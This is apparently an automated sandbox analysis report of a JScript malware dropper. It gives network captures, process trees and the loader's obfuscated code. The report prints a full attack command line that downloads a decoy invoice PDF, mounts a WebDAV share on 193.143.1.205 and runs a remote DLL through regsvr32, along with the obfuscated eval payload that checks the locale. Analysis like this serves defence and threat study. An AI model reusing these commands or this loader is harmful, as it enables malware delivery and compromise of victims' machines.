Jan 13, 2025 10:14:12.131237030 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 09:14:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 10:14:12.131277084 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 10:14:12.131289005 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 10:14:12.131303072 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 13, 2025 10:14:12.131309032 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 13, 2025 10:14:12.131323099 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 13, 2025 10:14:12.131335974 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 13, 2025 10:14:12.131342888 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 13, 2025 10:14:12.131349087 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 13, 2025 10:14:12.131362915 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 13, 2025 10:14:12.131376028 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 13, 2025 10:14:12.132042885 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 09:14:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49706	193.143.1.205	8888	3760	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 10:14:13.504662037 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 10:14:14.336433887 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 09:14:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	04:14:07
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1972921391166218927.js"
Imagebase:	0x7ff6f10e0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:14:07
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44731151114268.dll
Imagebase:	0x7ff619900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:14:07
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:14:07
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:14:12
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	04:14:12
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff619900000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:14:12
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff742ac0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:14:12
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	04:14:13
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	04:14:13
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1640,i,4100416160910318188,17056196389854407797,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tfzxgqavh() {	tfzxgqavh() ➔ undefined
1	this[jcpypm + bdnfno + whujxre + rlxxqppsa] ( "vrhmhzuil=[1031,3079,5127,4103,2055,3072];var arwsdebl=this[tukfp+whujxre+imxbhvy+bdmnaureq+jcpypm+nygfam+svplpal+orfdrgh](this[splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh][dlptpcjj+imxbhvy+jcpypm+whujxre+orfdrgh+jcpypm+zapoiei+zjyib+ntcyzmrlh+jcpypm+kanxjxzxz+orfdrgh](splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh+tsimtchtb+nnflb+iddvfm+jcpypm+rlxxqppsa+rlxxqppsa)[dawmtvmxs+jcpypm+bsfeydvux+dawmtvmxs+jcpypm+whujxre+thoptak](rxdohja+ribqd+kaozstjg+ocvaz+uhmogooj+dlptpcjj+gncnvzz+dawmtvmxs+dawmtvmxs+kaozstjg+pegwk+kptjpaobe+uhmogooj+gncnvzz+nnflb+kaozstjg+dawmtvmxs+mzyqhhvkj+dlptpcjj+cyilhjxfw+svplpal+orfdrgh+imxbhvy+cyilhjxfw+rlxxqppsa+ecvqnc+jbkreq+whujxre+svplpal+jcpypm+rlxxqppsa+mzyqhhvkj+nygfam+svplpal+orfdrgh+jcpypm+imxbhvy+svplpal+whujxre+orfdrgh+bzwvls+cyilhjxfw+svplpal+whujxre+rlxxqppsa+mzyqhhvkj+zymalolkf+cyilhjxfw+kanxjxzxz+whujxre+rlxxqppsa+jcpypm),16);for(uccajee=0;uccajee<vrhmhzuil[rlxxqppsa+jcpypm+svplpal+bsfeydvux+orfdrgh+iddvfm];++uccajee){if(arwsdebl==vrhmhzuil[uccajee]){arwsdebl=true;break;}}if(arwsdebl!==true)this[splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh][ggfjjrukc+fpslt+bzwvls+orfdrgh]();this[splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh][dlptpcjj+imxbhvy+jcpypm+whujxre+orfdrgh+jcpypm+zapoiei+zjyib+ntcyzmrlh+jcpypm+kanxjxzxz+orfdrgh](splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh+tsimtchtb+nnflb+iddvfm+jcpypm+rlxxqppsa+rlxxqppsa)[imxbhvy+fpslt+svplpal](kanxjxzxz+yeognuwd+thoptak+ecvqnc+qirmvgauj+kanxjxzxz+ecvqnc+tukfp+cyilhjxfw+jfnfyan+jcpypm+imxbhvy+bdmnaureq+iddvfm+jcpypm+rlxxqppsa+rlxxqppsa+tsimtchtb+jcpypm+enxpibev+jcpypm+ecvqnc+ucywfbepz+dlptpcjj+cyilhjxfw+yeognuwd+yeognuwd+whujxre+svplpal+thoptak+ecvqnc+gzbqmii+nygfam+svplpal+bdnfno+cyilhjxfw+ptnrlxl+jcpypm+ucywfbepz+splkec+jcpypm+zjyib+dawmtvmxs+jcpypm+hripp+fpslt+jcpypm+bdmnaureq+orfdrgh+ecvqnc+ucywfbepz+zapoiei+fpslt+orfdrgh+gguhxd+bzwvls+rlxxqppsa+jcpypm+ecvqnc+vgqolb+orfdrgh+jcpypm+yeognuwd+tukfp+vgqolb+mzyqhhvkj+bzwvls+svplpal+bdnfno+cyilhjxfw+bzwvls+kanxjxzxz+jcpypm+tsimtchtb+tukfp+thoptak+zpymyz+ecvqnc+iddvfm+orfdrgh+orfdrgh+tukfp+zgfslyz+qirmvgauj+qirmvgauj+mixcrn+ovpwizln+ampdnunzy+tsimtchtb+mixcrn+asmufy+ampdnunzy+tsimtchtb+mixcrn+tsimtchtb+scbnztyig+unnfvnmz+qgwjd+qirmvgauj+bzwvls+svplpal+bdnfno+cyilhjxfw+bzwvls+kanxjxzxz+jcpypm+tsimtchtb+tukfp+iddvfm+tukfp+gzbqmii+ogisvc+ogisvc+bdmnaureq+orfdrgh+whujxre+imxbhvy+orfdrgh+ecvqnc+vgqolb+orfdrgh+jcpypm+yeognuwd+tukfp+vgqolb+mzyqhhvkj+bzwvls+svplpal+bdnfno+cyilhjxfw+bzwvls+kanxjxzxz+jcpypm+tsimtchtb+tukfp+thoptak+zpymyz+ogisvc+ogisvc+kanxjxzxz+yeognuwd+thoptak+ecvqnc+qirmvgauj+kanxjxzxz+ecvqnc+svplpal+jcpypm+orfdrgh+ecvqnc+fpslt+bdmnaureq+jcpypm+ecvqnc+mzyqhhvkj+mzyqhhvkj+mixcrn+ovpwizln+ampdnunzy+tsimtchtb+mixcrn+asmufy+ampdnunzy+tsimtchtb+mixcrn+tsimtchtb+scbnztyig+unnfvnmz+qgwjd+dezmjfd+kcuje+kcuje+kcuje+kcuje+mzyqhhvkj+thoptak+whujxre+bdnfno+jfnfyan+jfnfyan+jfnfyan+imxbhvy+cyilhjxfw+cyilhjxfw+orfdrgh+mzyqhhvkj+ogisvc+ogisvc+kanxjxzxz+yeognuwd+thoptak+ecvqnc+qirmvgauj+kanxjxzxz+ecvqnc+imxbhvy+jcpypm+bsfeydvux+bdmnaureq+bdnfno+imxbhvy+ampdnunzy+scbnztyig+ecvqnc+qirmvgauj+bdmnaureq+ecvqnc+mzyqhhvkj+mzyqhhvkj+mixcrn+ovpwizln+ampdnunzy+tsimtchtb+mixcrn+asmufy+ampdnunzy+tsimtchtb+mixcrn+tsimtchtb+scbnztyig+unnfvnmz+qgwjd+dezmjfd+kcuje+kcuje+kcuje+kcuje+mzyqhhvkj+thoptak+whujxre+bdnfno+jfnfyan+jfnfyan+jfnfyan+imxbhvy+cyilhjxfw+cyilhjxfw+orfdrgh+mzyqhhvkj+asmufy+asmufy+rcoelr+ampdnunzy+mixcrn+mixcrn+qgwjd+mixcrn+mixcrn+mixcrn+asmufy+scbnztyig+ffpmv+kcuje+tsimtchtb+thoptak+rlxxqppsa+rlxxqppsa,0,false);" );	eval("vrhmhzuil=[1031,3079,5127,4103,2055,3072];var arwsdebl=this[tukfp+whujxre+imxbhvy+bdmnaureq+jcpypm+nygfam+svplpal+orfdrgh](this[splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh][dlptpcjj+imxbhvy+jcpypm+whujxre+orfdrgh+jcpypm+zapoiei+zjyib+ntcyzmrlh+jcpypm+kanxjxzxz+orfdrgh](splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh+tsimtchtb+nnflb+iddvfm+jcpypm+rlxxqppsa+rlxxqppsa)[dawmtvmxs+jcpypm+bsfeydvux+dawmtvmxs+jcpypm+whujxre+thoptak](rxdohja+ribqd+kaozstjg+ocvaz+uhmogooj+dlptpcjj+gncnvzz+dawmtvmxs+dawmtvmxs+kaozstjg+pegwk+kptjpaobe+uhmogooj+gncnvzz+nnflb+kaozstjg+dawmtvmxs+mzyqhhvkj+dlptpcjj+cyilhjxfw+svplpal+orfdrgh+imxbhvy+cyilhjxfw+rlxxqppsa+ecvqnc+jbkreq+whujxre+svplpal+jcpypm+rlxxqppsa+mzyqhhvkj+nygfam+svplpal+orfdrgh+jcpypm+imxbhvy+svplpal+whujxre+orfdrgh+bzwvls+cyilhjxfw+svplpal+whujxre+rlxxqppsa+mzyqhhvkj+zymalolkf+cyilhjxfw+kanxjxzxz+whujxre+rlxxqppsa+jcpypm),16);for(uccajee=0;uccajee<vrhmhzuil[rlxxqppsa+jcpypm+svplpal+bsfeydvux+orfdrgh+iddvfm];++uccajee){if(arwsdebl==vrhmhzuil[uccajee]){arwsdebl=true;break;}}if(arwsdebl!==true)this[splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh][ggfjjrukc+fpslt+bzwvls+orfdrgh]();this[splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh][dlptpcjj+imxbhvy+jcpypm+whujxre+orfdrgh+jcpypm+zapoiei+zjyib+ntcyzmrlh+jcpypm+kanxjxzxz+orfdrgh](splkec+nnflb+kanxjxzxz+imxbhvy+bzwvls+tukfp+orfdrgh+tsimtchtb+nnflb+iddvfm+jcpypm+rlxxqppsa+rlxxqppsa)[imxbhvy+fpslt+svplpal](kanxjxzxz+yeognuwd+thoptak+ecvqnc+qirmvgauj+kanxjxzxz+ecvqnc+tukfp+cyilhjxfw+jfnfyan+jcpypm+imxbhvy+bdmnaureq+iddvfm+jcpypm+rlxxqppsa+rlxxqppsa+tsimtchtb+jcpypm+enxpibev+jcpypm+ecvqnc+ucywfbepz+dlptpcjj+cyilhjxfw+yeognuwd+yeognuwd+whujxre+svplpal+thoptak+ecvqnc+gzbqmii+nygfam+svplpal+bdnfno+cyilhjxfw+ptnrlxl+jcpypm+ucywfbepz+splkec+jcpypm+zjyib+dawmtvmxs+jcpypm+hripp+fpslt+jcpypm+bdmnaureq+orfdrgh+ecvqnc+ucywfbepz+zapoiei+fpslt+orfdrgh+gguhxd+bzwvls+rlxxqppsa+jcpypm+ecvqnc+vgqolb+orfdrgh+jcpypm+yeognuwd+tukfp+vgqolb+mzyqhhvkj+bzwvls+svplpal+bdnfno+cyilhjxfw+bzwvls+kanxjxzxz+jcpypm+tsimtchtb+tukfp+thoptak+zpymyz+ecvqnc+iddvfm+orfdrgh+orfdrgh+tukfp+zgfslyz+qirmvgauj+qirmvgauj+mixcrn+ovpwizln+ampdnunzy+tsimtchtb+mixcrn+asmufy+ampdnunzy+tsimtchtb+mixcrn+tsimtchtb+scbnztyig+unnfvnmz+qgwjd+qirmvgauj+bzwvls+svplpal+bdnfno+cyilhjxfw+bzwvls+kanxjxzxz+jcpypm+tsimtchtb+tukfp+iddvfm+tukfp+gzbqmii+ogisvc+ogisvc+bdmnaureq+orfdrgh+whujxre+imxbhvy+orfdrgh+ecvqnc+vgqolb+orfdrgh+jcpypm+yeognuwd+tukfp+vgqolb+mzyqhhvkj+bzwvls+svplpal+bdnfno+cyilhjxfw+bzwvls+kanxjxzxz+jcpypm+tsimtchtb+tukfp+thoptak+zpymyz+ogisvc+ogisvc+kanxjxzxz+yeognuwd+thoptak+ecvqnc+qirmvgauj+kanxjxzxz+ecvqnc+svplpal+jcpypm+orfdrgh+ecvqnc+fpslt+bdmnaureq+jcpypm+ecvqnc+mzyqhhvkj+mzyqhhvkj+mixcrn+ovpwizln+ampdnunzy+tsimtchtb+mixcrn+asmufy+ampdnunzy+tsimtchtb+mixcrn+tsimtchtb+scbnztyig+unnfvnmz+qgwjd+dezmjfd+kcuje+kcuje+kcuje+kcuje+mzyqhhvkj+thoptak+whujxre+bdnfno+jfnfyan+jfnfyan+jfnfyan+imxbhvy+cyilhjxfw+c